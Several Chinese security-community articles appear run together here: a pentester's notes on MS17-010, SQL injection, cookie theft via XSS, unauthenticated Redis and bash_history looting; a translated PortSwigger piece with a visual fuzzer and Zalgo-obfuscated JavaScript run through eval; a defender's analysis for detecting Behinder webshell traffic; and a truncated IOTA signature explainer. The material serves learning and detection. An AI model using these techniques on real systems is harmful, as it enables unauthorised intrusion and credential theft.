## MS17-010能验证但是反弹不了会话
永恒之蓝这种东西之前跟着网上的复现过...网上复现文章通常也是在C段然后MSF一把梭...
所以真正当我遇到这个漏洞的时候，用 验证模块（use
auxiliary/scanner/smb/smb_ms17_010）验证成功之后就以为成功了，但是利用攻击模块却并不能反弹会话
然后去了t00ls发了一篇求助帖 [[【求神问卜】]
求问关于内网中ms17-010的利用](https://www.t00ls.net/thread-52382-1-1.html)
下面的回答都很大程度上帮助到了我...
> 03使用永恒浪漫攻击，不要使用永恒之蓝，没用。请使用原版，不要用msf的。
然后我了解了一下永恒之蓝的历史，和 NSA 原版攻击工具
具体可看一下我转载的博客 [Shadow Brokers - From git clone to
Pwned](https://p2hm1n.github.io/2019/08/16/Shadow-Brokers-From-git-clone-to-Pwned/#more)
还有网上一个大师傅的复现真的非常详细（膜orz）
[永恒之蓝、永恒浪漫、永恒冠军复现](http://note.cfyqy.com/posts/caffa366.html)
很可惜的是因为一些时间的原因最后也没能成功利用，很多时候跟漏洞都是一个擦肩而过的距离
## 真的没办法进行sql注入了吗？
这个点给我的感触蛮深的，学sql注入的时候知道sql注入发生的点是： **增 删 改 查** ，一切与数据库交互的地方都有可能进行sql注入
但是真正实际操作的时候满脑子都是登录框的用户名密码，甚至为了追求速度，养成了指定参数这种不好的习惯，所以连着很久都没有挖出sql注入
最后由于网站的特殊性，该网站忘记密码界面需要提供注册界面的手机号（emm不方便截图...），最后在POST包里面的一个不显眼的参数存在sql注入...
给的体会就是渗透过程中千万不要偷懒，所有get，post的参数凡是你觉得能够和数据库进行交互的，能手测就手测，不能手测就用sqlmap跑
细心一点，每个地方都测试一下
利用了sqlmap最终跑出用户名密码...
还有一点小感悟是 XFF 头注入是真的存在，渗透测试本身的过程就是把不可能的事变为可能，虽然我之前也一直觉得讲 XFF
头的注入是为了绕过gpc的过滤，需要很巧合才能完成，但是在测试一个办公系统的时候，开发跟我说到他们需要记录一下每个人登录的IP。所以为什么构成这种漏洞也就不奇怪了
## cookie也敢明文传输用户名密码？
这个也是真的第一次遇到，教科书般的漏洞...
首先用 **弱密码** 进入了网站（手动滑稽）
然后在测试其他漏洞的时候突然发现cookie使用明文传输了用户名密码
第一个想到的当然是XSS，XSS如果能够打到cookie那么将会是很严重的问题...
找了一下午XSS，终于在一个参数那寻找到了一个反射型XSS，且没有设置httponly，最后成功打到了经过base64位加密的用户名密码
## Redis未授权访问
Redis因配置不当可以导致未授权访问，被攻击者恶意利用。当前流行的针对Redis未授权访问的一种新型攻击方式，在特定条件下，如果Redis以root身份运行，黑客可以给root账户写入SSH公钥文件，直接通过SSH登录受害服务器，可导致服务器权限被获取和数据删除、泄露或加密勒索事件发生，严重危害业务正常服务。
部分服务器上的Redis 绑定在 0.0.0.0:6379，并且没有开启认证（这是Redis 的默认配置）
这个真的蛮多公司都存在，没有接触过的老哥建议补充一下...
Freebuf上有篇文章写得很详细...
[Redis未授权访问详解](https://www.freebuf.com/column/158065.html)
一把梭进去还是 root 权限...
由于全是敏感数据就不贴图了
## 各种中间件的漏洞
各种中间件的漏洞的话在各大论坛都有很详细的文章，大家可以自行查阅
一点小感悟就是，很多公司用的版本真的很老很老，而且几乎不打补丁...虽然可能有的时候 IIS
，Nginx那些解析漏洞没办法使用(真的挺难遇到上传点的)...但是如果看到老一点版本的 JBoss 、 weblogic 就可以利用很多工具了
以下提供一些好用的工具
[Java反序列化集成工具](https://www.freebuf.com/sectool/92011.html)
[【技术分享】Java RMI 反序列化漏洞检测工具的编写](https://www.anquanke.com/post/id/85681)
[WeblogicScan](https://github.com/dr0op/WeblogicScan)
# 写在最后
渗透测试中，工具，经验，还有灵活的思维都是很重要的东西（虽然自己一样也没有）...
有的时候连上了shell之后，然后如同机器人一般的反弹shell，执行 `whoami`，发现权限不够就进一步查看系统信息，接着尝试各种提权的操作。其实可能
**有的时候这些操作没有必要** ，可能最终的目标都是拿到一些信息或者数据。所以根据实际情况判断一下是否需要提权，是一个提高效率不错的办法。
**此外，一个`cat ~/.bash_history` 命令有时候可能会给你带来一些惊喜**
最后，根据信安之路的[史上最强内网渗透知识点总结](https://mp.weixin.qq.com/s/U2MqcjA_YmMlajJzvDCZZw),补充了里面的一点东西。
分享给大家
[内网渗透之常用命令小结](https://p2hm1n.github.io/2019/08/16/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F%E4%B9%8B%E5%B8%B8%E7%94%A8%E5%91%BD%E4%BB%A4%E5%B0%8F%E7%BB%93/)
**本文仅限技术研究与讨论，严禁用于非法用途，否则产生的一切后果自行承担。** | 社区文章 |
# 如何采用可视化Fuzz技术探索Z͌̈́̾a͊̈́l͊̿g̏̉͆o̾̚̚S̝̬ͅc̬r̯̼͇ͅi̼͖̜̭͔p̲̘̘̹͖t̠͖̟̹͓͇ͅ
##### 译文声明
本文是翻译文章，文章原作者 Gareth Heyes ，文章来源：blog.portswigger.net
原文地址：<http://blog.portswigger.net/2018/03/unearthing-zalgoscript-with-visual.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
首先观察如下语句：
̀̀̀̀̀́́́́́̂̂̂̂̂̃̃̃̃̃̄̄̄̄̄̅̅̅̅̅̆̆̆̆̆̇̇̇̇̇̈̈̈̈̈̉̉̉̉̉̊̊̊̊̊ͅͅͅͅͅͅͅͅͅͅͅalert(̋̋̋̋̋̌̌̌̌̌̍̍̍̍̍̎̎̎̎̎̏̏̏̏̏ͅͅͅͅͅ1̐̐̐̐̐̑̑̑̑̑̒̒̒̒̒̓̓̓̓̓̔̔̔̔̔ͅͅͅͅͅ)̡̡̡̡̡̢̢̢̢̢̛̛̛̛̛̖̖̖̖̖̗̗̗̗̗̘̘̘̘̘̙̙̙̙̙̜̜̜̜̜̝̝̝̝̝̞̞̞̞̞̟̟̟̟̟̠̠̠̠̠̣̕̕̕̕̕̚̚̚̚̚ͅͅͅͅͅͅͅͅͅͅͅͅͅͅͅ
这是Edge浏览器上一条有效的JavaScript代码，如何实现这一点呢？
当Twitter将推文的字符个数限制从140增加到280时，当时我想试一下哪些unicode字符可以在这种限制条件下使用，这应该是非常有趣的一件事情。我发了一则[推文](https://twitter.com/garethheyes/status/928178720283807744)，中间包含一些有趣的字符，可以导致Twitter出现渲染错误，这种字符就是所谓的[Zalgo](http://www.eeemo.net/)字符。以这件事情为契机，我开始思考如何自动识别这些字符。我们并不能使用DOM来检查某些字符的行为比较异常，需要使用屏幕截图来查看浏览器所看到的内容。刚开始我使用的是JavaScript以及canvas来截图，但得到的图片与浏览器中显示的实际图片并不匹配，因此我需要使用另一种方法，而Headless
Chrome正是我苦苦寻找的解决方案。我使用的是puppeteer，这是一个NodeJS模块，我们可以借此控制Headless Chrome并截取屏幕。
## 二、生成字符
为了生成Zalgo文本，我们可以重复单个字符，也可以组合两个字符然后多次重复第二个字符。比如，如下码点（code
point）可以在自我重复时产生不好的视觉体验，而实际上它们大多都是unicode组合字符：
834,1425,1427,1430,1434,1435,1442,1443,1444,1445,1446,1447,1450,1453,1557,1623,1626,3633,3636,3637,3638,3639,3640,3641,3642,3655,3656,3657,3658,3659,3660,3661,3662
比如，如下JavaScript代码可以使用上面的某个字符来生成非常难看的文本：
<script>document.write(String.fromCharCode(834).repeat(20))</script>
输出结果为： ͂͂͂͂͂͂͂͂͂͂͂͂͂͂͂͂͂͂͂͂
这里比较有趣的是，多个字符可以组合在一起并产生不同的效果。以311以及844字符为例，使用相同技术将这两个字符组合在一起，会得到不同的爬升效果：
<script> document.write(String.fromCharCode(311)+String.fromCharCode(844).repeat(20)) </script>
得到的效果为： ķ͌͌͌͌͌͌͌͌͌͌͌͌͌͌͌͌͌͌͌͌
## 三、构造Fuzzer
Fuzzer其实构造起来非常简单。我们需要一个能正确渲染字符的网页，加入一些CSS使页面足够宽，这样合法字符可以移动到屏幕右侧，我们就可以检查渲染页面左侧、顶部以及底部的区域，将fuzz这个div元素移到页面中央。
举个例子，fuzzer中渲染的字符“a”以及字符“b”如下图所示。为了帮助大家理解fuzzer的操作过程，我把fuzzer检查的区域标注出来，具体如下：
而字符ķ以及 ͂的屏幕图像如下所示（这两个字符的码点分别为311以及834）。在fuzzer看来这两个字符会产生较为有趣的效果，因为生成的文本位于上方区域。
<style>
.parent {
position: absolute;
height: 50%;
width: 50%;
top: 50%;
-webkit-transform: translateY(-50%);
-moz-transform: translateY(-50%);
-ms-transform: translateY(-50%);
-o-transform: translateY(-50%);
transform: translateY(-50%);
}
.fuzz {
height: 300px;
width:5000px;
position: relative;
left:50%;
top: 50%;
transform: translateY(-50%);
}
</style>
</head>
<body>
<div class="parent">
<div class="fuzz" id="test"></div>
</div>
<script>
var chars = location.search.slice(1).split(',');
if(chars.length > 1) {
document.getElementById('test').innerHTML = String.fromCharCode(chars[0])+String.fromCharCode(chars[1]).repeat(100);
} else {
document.getElementById('test').innerHTML = String.fromCharCode(chars[0]).repeat(100);
}
</script>
上述JavaScript代码会从查询字符串中读取1到2个字符编号，然后使用`innerHTML`以及`String.fromCharCode`输出这些字符。当然，这些代码会在客户端执行。
然后，我在NodeJS中用到了png以及puppeteer库。
const PNGReader = require('png.js');
const puppeteer = require('puppeteer');
接下来构造两个函数，检查某个像素是否是白色像素，是否位于我期待的区域中（即顶部、左侧以及底部）。
function isWhite(pixel) {
if(pixel[0] === 255 && pixel[1] === 255 && pixel[2] === 255) {
return true;
} else {
return false;
}
}
function isInRange(x,y) {
if(y <= 120) {
return true;
}
if(y >= 220) {
return true;
}
if(x <= 180) {
return true;
}
return false;
}
`fuzzBrowser`函数是一个异步函数，可以截取屏幕，使用png库读取png文件。该函数会将有趣的字符输出到控制台（console）以及`chars.txt`文本文件中。
async function fuzzBrowser(writeStream, page, chr1, chr2) {
if(typeof chr2 !== 'undefined') {
await page.goto('http://localhost/visualfuzzer/index.php?'+chr1+','+chr2);
} else {
await page.goto('http://localhost/visualfuzzer/index.php?'+chr1);
}
await page.screenshot({clip:{x:0,y:0,width: 400,height: 300}}).then((buf)=>{
var reader = new PNGReader(buf);
reader.parse(function(err, png){
if(err) throw err;
outerLoop:for(let x=0;x<400;x++) {
for(let y=0;y<300;y++) {
if(!isWhite(png.getPixel(x,y)) && isInRange(x,y)) {
if(typeof chr2 !== 'undefined') {
writeStream.write(chr1+','+chr2+'n');
console.log('Interesting chars: '+chr1+','+chr2);
} else {
writeStream.write(chr1+'n');
console.log('Interesting char: '+chr1);
}
break outerLoop;
}
}
}
});
});
}
然后构造一个异步匿名函数，循环处理目标字符并调用`fuzzBrowser`函数。在测试多个字符组合场景时，我排除了会导致副作用的单个字符。
(async () => {
const browser = await puppeteer.launch();
const page = await browser.newPage();
const singleChars = {834:1,1425:1,1427:1,1430:1,1434:1,1435:1,1442:1,1443:1,1444:1,1445:1,1446:1,1447:1,1450:1,1453:1,1557:1,1623:1,1626:1,3633:1,3636:1,3637:1,3638:1,3639:1,3640:1,3641:1,3642:1,3655:1,3656:1,3657:1,3658:1,3659:1,3660:1,3661:1,3662:1};
const fs = require('fs');
let writeStream = fs.createWriteStream('logs.txt', {flags: 'a'});
for(let i=768;i<=879;i++) {
for(let j=768;j<=879;j++) {
if(singleChars[i] || singleChars[j]) {
continue;
}
process.stdout.write("Fuzzing chars "+i+","+j+" r");
await fuzzBrowser(writeStream, page, i, j).catch(err=>{
console.log("Failed fuzzing browser:"+err);
});
}
}
await browser.close();
await writeStream.end();
})();
## 四、ZalgoScript
前不久我发现了Edge上存在一个有趣的[bug](https://github.com/Microsoft/ChakraCore/issues/3050)，简单说来，就是Edge会错误地将某些字符当成空白符，因为某些unicode字符组合在一起就会出现这种行为。那么如果我们将这个bug与Zalgo结合在一起会出现什么情况？这样做我们就可以得到ZalgoScript！首先我生成了一份字符列表，Edge会将该列表中的所有字符都当成空白符（有很多这样的字符，大家可以访问Github了解完整列表）。我决定fuzz
768-879之间的字符（fuzzer代码默认情况下已经包含该范围），根据fuzzer的结果，837字符与768-879之间的字符组合在一起会得到非常难看的视觉效果。这个思路很棒，我可以遍历这个列表，将字符结合在一起，生成既是Zalgo文本又是有效的JavaScript的输出结果。
a= [];
for(i=768;i<=858;i++){
a.push(String.fromCharCode(837)+String.fromCharCode(i).repeat(5));
}
a[10]+='alert('
a[15]+='1';
a[20]+=')';
input.value=a.join('')
eval(a.join(''));
这也是我们如何生成本文开头提到的
̀̀̀̀̀́́́́́̂̂̂̂̂̃̃̃̃̃̄̄̄̄̄̅̅̅̅̅̆̆̆̆̆̇̇̇̇̇̈̈̈̈̈̉̉̉̉̉̊̊̊̊̊ͅͅͅͅͅͅͅͅͅͅͅalert(̋̋̋̋̋̌̌̌̌̌̍̍̍̍̍̎̎̎̎̎̏̏̏̏̏ͅͅͅͅͅ1̐̐̐̐̐̑̑̑̑̑̒̒̒̒̒̓̓̓̓̓̔̔̔̔̔ͅͅͅͅͅ)̡̡̡̡̡̢̢̢̢̢̛̛̛̛̛̖̖̖̖̖̗̗̗̗̗̘̘̘̘̘̙̙̙̙̙̜̜̜̜̜̝̝̝̝̝̞̞̞̞̞̟̟̟̟̟̠̠̠̠̠̣̕̕̕̕̕̚̚̚̚̚ͅͅͅͅͅͅͅͅͅͅͅͅͅͅͅ语句的具体方法。
我已经将 **visualfuzzer**
的代码公布在[Github](https://github.com/hackvertor/visualfuzzer)上。
如果你喜欢这方面内容，你可能也会对非字母数字形式的[JavaScript](http://blog.portswigger.net/2016/07/executing-non-alphanumeric-javascript.html)代码感兴趣。 | 社区文章 |
* 0x01 "冰蝎" 获取密钥过程
冰蝎执行流程 (图片来自[红蓝对抗——加密Webshell“冰蝎”攻防](https://xz.aliyun.com/t/6550
"红蓝对抗——加密Webshell“冰蝎”攻防"))
冰蝎在连接webshell的时,会对webshell进行两次请求访问
为什么进行两次访问? 我在别的文章没有看到关于这个问题的答案,于是我去反编译冰蝎源码
通过对代码阅读,我发现冰蝎为了实现可以在webshell内添加任意内容 (比如gif89a子类的文件头或者其它标示字符)
冰蝎在初始化密钥时会对webshell进行两次访问,然后比较两次页面返回的差异,把两次请求都相同的字符记录一个位置,后续加密会用到这两个位置(beginIndex,endIndex)
如图,根据数据包,beginIndex:8 endIndex:4 (含换行),冰蝎开始从数据流中截取被加密的数据从下标8开始到(数据包总长度-4)
Waf可以针对于返回类型为 "text/html" 的数据包中加一些空格或者换行,来扰乱冰蝎的数据包,导致冰蝎无法运行 (为什么要对返回类型为
"text/html" 的扰乱,别的格式不可以吗? 答案:jsp默认返回类型就是 "text/html"
html添加一些空格或者换行,并不会影响网页的正常运行)
* 0x02 "冰蝎" 解析Cookie流程
我们可以看到请求协议头中的Cookie字段,冰蝎在合并处理Cookie的时候没有考虑到,Cookie的一些属性 (比如 Path 或者 HttpOnly
之类或者其它的) 冰蝎直接把返回协议头中的Set-Cookie字段直接添加到下一个请求包的Cookie字段中
正常的请求是不会携带Cookie属性的,这可是识别冰蝎流量最直接的一种办法
* 0x03 "冰蝎" 动态加载
冰蝎动态加载的原理就是每次都发送一个class字节码(其它语言也一样)
冰蝎通过asm动态修改class字节码变量内容,实现携带参数动态执行,冰蝎在获取完密钥之后(2个请求),第三个请求就是获取BasicInfo(服务器的一些信息),冰蝎的BasicInfo功能并没有动态修改参数(一个获取服务器信息的能有啥参数),这会导致每次获取BasicInfo的数据包都是固定的大小
* 0x04 总结
Waf可以对一个ip连续访问2次的数据包进行截取,比对相同字符,比对之后,截取两次不同的数据,如果剩下的是16位的key,就可以证明这两个数据包就是冰蝎发出的,第三个数据包通过
0x02,0x03 中的一些bug,可以100%的匹配到冰蝎流量,不会误报 | 社区文章 |
最近看了一些加密货币中使用的签名算法，其中IOTA使用的`Winternitz`一次性签名（WOTS）确实很有趣，这是一种hash签名，虽然几十年前就已经提出来了，不过一直没什么人用，因为生成的签名实在太长了，而且也看不到什么明显的优点，不过近几年因为量子密码的研究以及区块链技术倒是捞了这类签名一把，因为这种基于hash的签名算法被认为是可以抵抗量子计算的，不过这种算法也存在地址不能重用的问题，每次签名都会暴露私钥的一半，下面我们就介绍一下WOTS在IOTA中的应用以及存在的问题
# IOTA简介
在这里先简单说一下IOTA，这是个瞄准了物联网市场的项目，有别于传统的区块链项目，IOTA使用的结构是有向无环图（DAG），比如下面就是一个包含了20个块的IOTA结构
在IOTA中这样的结构被称为Tangle，不同于比特币那样的链式结构，这是一个网状的结构，所以也有一些人质疑IOTA这样的技术是否能被称之为区块链
此外IOTA还有几个特点，首先它的交易是免交易费的，也没有什么矿工之类的，在整个网络里每个块就代表一个交易，你自己签署一笔交易后在Tangle中找两个还未得到确认的块（Tips）验证其交易后使自己的交易指向这两个块，然后进行适当的POW计算过程使交易的hash满足要求，所以你可以将用户当成这个系统中的矿工，大家自己开采包含自己交易的块，这个POW过程的难度很小，所以大家基本上几分钟内都可以完成。这种模式也是为了物联网而设计，适用于高并发但数据量较小的系统。
其中IOTA的共识达成的过程也很有意思，包含新的交易如何选择其要指向的交易以及IOTA如何防止双花等等，因为不是本文的重点，在这里就不展开说了，有兴趣的可以看这一系列文章，[how
IOTA works under the hood](https://blog.iota.org/the-tangle-an-illustrated-introduction-4d5eae6fe8d4)
不过需要指出的是因为在IOTA中发送垃圾交易的成本非常低，所以限于网络的规模以及IOTA的技术还不够成熟，目前的IOTA为了防止51%攻击还是要靠一个协调节点（coordinator
node）来对网络进行审查，被它的交易确认的块才是主链，现在的IOTA事实上还是一个偏向于中心化的系统，按照其负责人的说法等未来网络规模扩大，节点数量足够多时就会撤销这一协调节点。
另外在IOTA中比较特别的就是它采用的是三进制，因为三进制架构的电路功耗是较低的，IOTA的创始人认为未来将会是三进制电路的世界，不得不说IOTA确实是走在了前列，包括采用三进制以及抗量子的算法。
顺带一提三进制系统可以分为平衡三进制和非平衡三进制这两种，在三进制系统里对应我们二进制系统中的bit的是叫trit，在平衡三进制中可取的三个值为-1（T），0和1，而非平衡系统中则取0，1和2。
在IOTA中我们使用的是平衡三进制，在这个系统里一个字节表示Tryte，其中包含3个trits，也就是说可取的范围是3^3=27，这跟2进制世界里一个byte包含8个bit还是有较大区别，IOTA为Tryte构建了对应的字母系统，由26个英文字母与数字9组成，如下表
下面提到的公私钥以及hash算法等都是基于这样的三进制系统，不得不说就目前而言直接采用三进制还是带来了很多麻烦，毕竟目前的机器还都是2进制的，跑它的算法并木有什么加成，而且软件层面还是得先进行转换，这样就牺牲了一定的效率，只能说IOTA的团队还是比较有想法吧
# hash签名
下面我们简单介绍一下hash签名，其实它非常简单，至少其原理是比RSA和ECC等其他公钥密码要简单的多，首先我们从最简单的Lamport一次性签名来认识一下
## Lamport One Time Signature (OTS)
首先我们随机生成一对私钥，每个私钥都包含256个随机数，这里每个随机数都取256bit大小，确实私钥是非常长的，如下
然后我们将这一对私钥中每个随机数都进行hash，得到了公钥对
然后我们就可以开始签名了，对于文件M，首先计算得到它的hash值，H(M)，这里H(M)也是256bit长的，然后我们检查H(M)的每一个bit，对于第n个bit，当其为0时，我们就取私钥串1的第n个数，当其值为1时，我们就取私钥串2的第n个数，比如当文件M的hash为`110...10`时，情况就如下
将红色块的数字合并就得到了文件M的签名，至于该签名的验证也非常简单，我们计算出M的hash后依据同样的算法再从公钥对中取值，将公钥中的hash合并后看是否跟签名相同即可
观察上面的签名过程，我们不难发现发布签名后实际上我们将私钥的一半公布出去了，哪怕是这样其实这种算法也是很安全的，因为攻击者并不知道另一半的私钥，除非他能破解该hash函数，从公钥推出私钥
不过如果你再次使用该私钥进行签名的话，那么又会随机暴露一半的私钥，相当于在之前没暴露的一半里再随机显示一半，这样你暴露的私钥就达到了75%，这样就非常危险了，攻击者已经有能力根据这暴露的私钥信息伪造签名了，所以说hash签名的地址一般都是一次性的，重复使用是不可取的，当然，也不是说就不存在地址可重复使用的hash签名技术，比如基于Merkle树的Merkle
OTS方案，该方案使用的公钥是一串公钥对的根hash，事实上每次签名使用的依然是不同的私钥，而且该方案的签名长度更长，公钥对较多的话签名长度可能是Lamport方案的几倍，有兴趣的可以看看这篇文章，[Hash
based signatures](https://www.imperialviolet.org/2013/07/18/hashsig.html)
# Winternitz One Time Signature (WOTS)
下面我们进入正题，在IOTA中使用的签名方案是WOTS，跟Lamport方案一样，它每次签名也会暴露私钥的一半，不过它的暴露形式却不那么一样，还是比较有趣的
## IOTA的私钥与地址
我们先简要了解一下IOTA中的私钥与地址的产生模式，因为每个地址都只使用一次，所以在钱包中每次都会产生一个新的地址来进行交易，一般是使用一个种子来生成这一系列的私钥
IOTA的种子也是遵循三进制的，其使用的字母就是我们前面提到的26个字母加9，长度为81，按照官方推荐的种子生成方法，我们也可以自己产生安全的种子，在linux和mac上可以分别使用下面的命令
>>>cat /dev/urandom |tr -dc A-Z9|head -c${1:-81} //linux
>>>cat /dev/urandom |LC_ALL=C tr -dc 'A-Z9' | fold -w 81 | head -n 1 //Mac
如下
由种子我们可以产生私钥，值得一提的是在IOTA中还包含了三种安全等级，代表了不同的私钥长度
总的私钥长度为`2187 * 安全等级 trytes`
在官方钱包中默认的安全等级为2，所以一般我们在Tangle中看到的交易都是使用的安全等级为2的地址，在不同的安全等级下给种子加上对应的index即可得到不同的私钥，结构如下
然后我们来看看派生出私钥后如何得到公钥地址
首先将私钥划分成L份，每份都是81 trytes，所以L = 安全等级 * 27
然后我们将每一块都hash 26次，然后再合并得到digest，这是IOTA的说法，然后hash digest两次即可得到地址，也就是公钥，过程如下
## IOTA中的WOTS签名
下面我们来看看IOTA中的签名过程
对于消息M，我们首先计算出它的hash
H(M)，不过这里使用的是IOTA中的基于三进制的hash算法，跟前面使用的hash算法一样，所以它的输出也是三进制的Tryte字母串
此外值得一提的是IOTA一开始使用的Curl哈希算法是[存在问题](https://medium.com/@neha/cryptographic-vulnerabilities-in-iota-9a6a9ddc4367)的，后来就换成了目前的Kerl算法，当时也发生了一些纠葛，有兴趣的可以去了解了解
对于要签署的hash值H，首先我们依然是按照前面计算地址的方法将私钥分成L份，然后根据H中第N个Tryte的值来计算第N份的hash次数Ni，计算方式如下
> Ni = 13 - TtoD(H[N])
TtoD表示将该Tryte转换为10进制，转换表即为前面那个Tryte的字母表
比如我们随便取一串hash，`ABC......`
之后的验证过程也很简单
我们将签名划分为L份，然后根据H中第N个Tryte的值来计算第N份的hash次数Nj，计算方式如下
> Ni = 13 + TtoD(H[N])
对于上面的签名验证过程如下
当签名值正确时我们验证过后得到的digest就相当于把私钥hash了26次，所以这样与公钥验证就是符合的
看到这里你可能有些奇怪，貌似在这个过程里并没有直接暴露私钥啊，不过严格来说还是会暴露一部分的，当要签名的hash中包含Tryte字符M时，因为其对应的十进制为13，所以在签名时相当于对应位置的私钥并没有hash，这一块的私钥就暴露了，不过这并不是对WOTS的真正威胁所在
在继续之前我们有必要先了解一下IOTA的交易结构
## IOTA的bundle结构
之前我们也提到了在IOTA中每个块都是一笔交易，事实上如果按照其他传统的区块链系统的标准来看，这些交易是不完全的，在IOTA中真正的交易其实是bundle
IOTA中的交易模型类似于比特币的UTXO，我们不妨来看看一个[bundle](https://thetangle.org/bundle/ERZXWGBF9YFDTSGQBTHRJJLQP9YQL9BDCGHSKDTURLTAHVO9DAXOSENRJMIJJFAVX9NKBECIIEYYDECAX)的例子
从图中我们可以看出一个bundle类似于比特币，可以有多个`Vin`和`Vout`，我们来看看bundle中一个交易的基本结构
{
hash: 'WCWHEXQXTEWYSGGPTITZVJNENDGXVF9KTEJMLSEGQEMOJHJJKFXVRENQWARBFLXOBPMWAUQYRDCTZ9999',
signatureMessageFragment: 'ASQNBNJCJXJIITXEWFDIXEEROSDITNETRMETJWHLNEVXBXSHJWV......',
address: 'TDIJAKIZYMBFUHRXXPTOFNMC9UPJQJBPELGMQWJOULAYSNKRPYKTMBZOEITGBMMGI9JMAVDNO9QNGOMFY',
value: -6062321,
obsoleteTag: 'MINEIOTADOTCOM9999999999999',
timestamp: 1526454765,
currentIndex: 4,
lastIndex: 6,
bundle: 'WIIPVFKRGKVEXGEEPQROFWRSDLW9WONYVTCGJDWJREGXPLGVSJAVJSKYHHZDWBX9JUISRTCUVSXWLYCKW',
trunkTransaction: 'LIWIJSQSZNUWMBWQMNSXZQNPGCCVVUKTRMWFHIUKTSMQZ9GCOCTFXVKXWTFBGYEKVCLJWWIBYOSWZ9999',
branchTransaction: 'ASIETWSCPXMKGMP9I9QPUNHEETTOFCKKLQAEBEYBONQXOMXUBPDSJGUFEXWTD9AM9HADUESAKIRD99999',
tag: 'MINEIOTADOTCOM9999999999999',
attachmentTimestamp: 1526456063898,
attachmentTimestampLowerBound: 0,
attachmentTimestampUpperBound: 12,
nonce: 'RMDY9PXCX9YPTCDUBPDOYDHSPQF'
}
因为签名信息实在太长，所以做了截取，其中`value`就代表这个交易的输入或是输出，此处表明此交易是这个bundle的输入，而`currentIndex`和`lastIndex`则分别表示从0开始计数的此交易在该bundle中的序列位置以及该bundle中最后一个交易的序列位置，一般排在前面的都是输出的交易，后面的就是这样的包含签名的输入交易，下面的`trunkTransaction`和`branchTransaction`则分别表示被该交易批准的两个第一跟第二个交易，最后的nonce就是POW运算时进行修改的变量，使该交易的hash符合要求，也就是末四位为9，在该三进制系统里其实也就是0
另外还有值得一提的一点是这里的签名的长度都是2187个tryte，你可能会觉得奇怪，因为前面的签名过程里我们可以看到根据选择的私钥的安全等级不同，私钥长度不同，对应的签名长度也不同，只有安全等级为1时产生的签名长度才是2187
tryte，而在钱包默认的安全登记2下，签名的长度应该是2187 * 2 tryte
确实，这也是IOTA中又一比较奇怪的地方，对于这样的情况它是将签名分成两半在两个交易里进行发送的，再上图中其中一个是在input中value为负的一笔交易，另一个则是output中value为0的一笔交易，因为这两部分分别使用不同的hash片段进行验证，所以对签名的验证并没有影响，至于说为何这样设计，因为在IOTA中一笔交易的大小是固定的2673
tryte，里面所有的字段都是定长的，目的是方便解析器的解析，所以便采取了这样的方式，看起来确实是非常奇怪，而且这样的定长交易一定程度上也造成了网络资源的浪费，很多不包含签名的output交易也不得不在签名字段填充满9以满足长度需求
## bundle hash
然后我们来看看上面的bundle，IOTA中也正是根据这一项将属于该bundle的交易划分到一起，再按index进行排列，可见IOTA中的交易结构还是比较特别的，这其中其实还有很多问题与细节，不过这里就不展开了，有兴趣的可以自己研究研究
大家应该也注意到这里的bundle值也是一串hash，其实这就是我们签名的对象，它会用每笔交易中的`address`, `value`,
`obsoleteTag`,`timestamp`,`currentIndex` 和 `lastIndex`生成hash，也就是bundle hash
不过我们签名及验证时使用的hash并不是直接取这里的bundle hash，而是会先进行一定的变换变成`normalized bundle
hash`，具体过程如下
首先将81 tryte长的`bundle hash`均分为三部分，即每部分27
tryte，然后对这每部分分别计算其所以tryte转换为10进制后的和，即对于第一部分
> sum0=TtoD(H[0][0])+TtoD(H[0][1])+...+TtoD(H[0][26])
得到三部分分别的总和sum后，接下来的目标就是将sum调整为0，当该部分总和大于0时，循环将该部分的第一个tryte减一，直到修改后sum为0，如果第一个tryte已经修改到了最小值，则从第二个tryte继续，一直往后直到sum为0，反之当sum小于0时亦然
修改完成后将这三部分组合即得到了`normalized bundle
hash`，就如你所看到的，这其实是一个对bundlehash进行平衡的过程，这样的话在签名时按照前面的算法相当于平均每个私钥块都hash了13次，不过说正常来说一个完善的hash算法其分布也应该是均匀的，所以这一步目的也是为了修正下偏差，另外就是对签名的一道确认了，事实上这一步也算是降低了碰撞的时间复杂度，毕竟在hash值后面的tryte都相同的情况下为了使sum为0，最前面的tryte哪怕不一样最终得到的`normalized
bundle hash`也是相同的，不过影响确实有限，在这里就忽略了
经过这一过程后我们可以说在经过一次签名后我们的私钥信息是被暴露了50%的，注意这里确实并不是直接暴露了私钥本身
要认识到这一点，我们不妨想一想在这样的WOTS机制下我们该如何伪造签名，我们直接从签名中得到的只有私钥平均hash了13次后的hash值，想要修改`bundlehash`直接找出对签名中hash的碰撞是不可能的，那么我们只能想办法修改`bundlehash`的同时也修改签名的值
因为我们知道了在原`normalized bundle hash`下签名得到的私钥各部分在`bundle hash`对应tryte
下的hash值，所以在这基础上我们也就可以计算这些hash进一步的hash，也就是说从这一部分hash知道digest部分的中间所有hash我们都是可以计算的，因为平均每块私钥都hash了13次，也就是说我们知道了这些私钥从13到26这些次数的hash值，也就是所有该私钥对应hash的一半，即我们获取了这些私钥信息的50%，这确实跟Lamport签名很不一样
不过修改了这一块的签名后我们就也得将`normalized
bundlehash`的对应位的tryte减去对应的次数，修改部分越多要减去的也就越多，然而这样的话`normalized
bundlehash`也会变得不满足要求，在验证签名时的normalized的过程中计算得到的sum就会跟0差很多，然后进行调整后得到的hash跟签名也就对不上了，除非你能逆向这个hash算法得到该私钥往前的hash值，这就又回到了原点，所以说仅使用一次的情况下该签名方案是安全的，一旦你使用了第二次，通过第二个签名我们就又可以得到随机的50%的hash，结合前面的那部分信息，我们就有可能修改签名与hash的同时又使得`normalized
bundle hash`满足要求，即成功伪造签名
## 签名方案的漏洞
事实上IOTA的WOTS签名算法在开始也是存在问题的，这起源于去年在reddit上的这篇[帖子](https://www.reddit.com/r/CryptoCurrency/comments/7gwl38/hello_guys_i_have_lost_30k_in_iota_and_i_would/)，有人在重用了他的某个地址后发现存入该地址的钱被盗走，可以在这看到[记录](https://thetangle.org/address/XTUYYPRVJIMEM9ERPF9CINWXWCOLKEQ9HKCXCYIBECXEMDEZIGVBXRRISKGBGITBQLPWTOJENAUQZKMJW)
该用户在使用该地址花费了一次后又向该地址转入了一笔钱，结果四个小时后这笔钱被盗走，一开始大家都猜是因为地址的重用，认为该用户在使用了该地址一次后不应该再次向该地址转入资金，不过按照我们前面的分析，仅仅只进行了一次签名的情况下暴露的私钥信息是有限的，除非黑客真的成功找到了一对碰撞，然而这也不应该是仅用四个小时就能完成的活，所以在分析过后发现是IOTA签名过程中存在问题
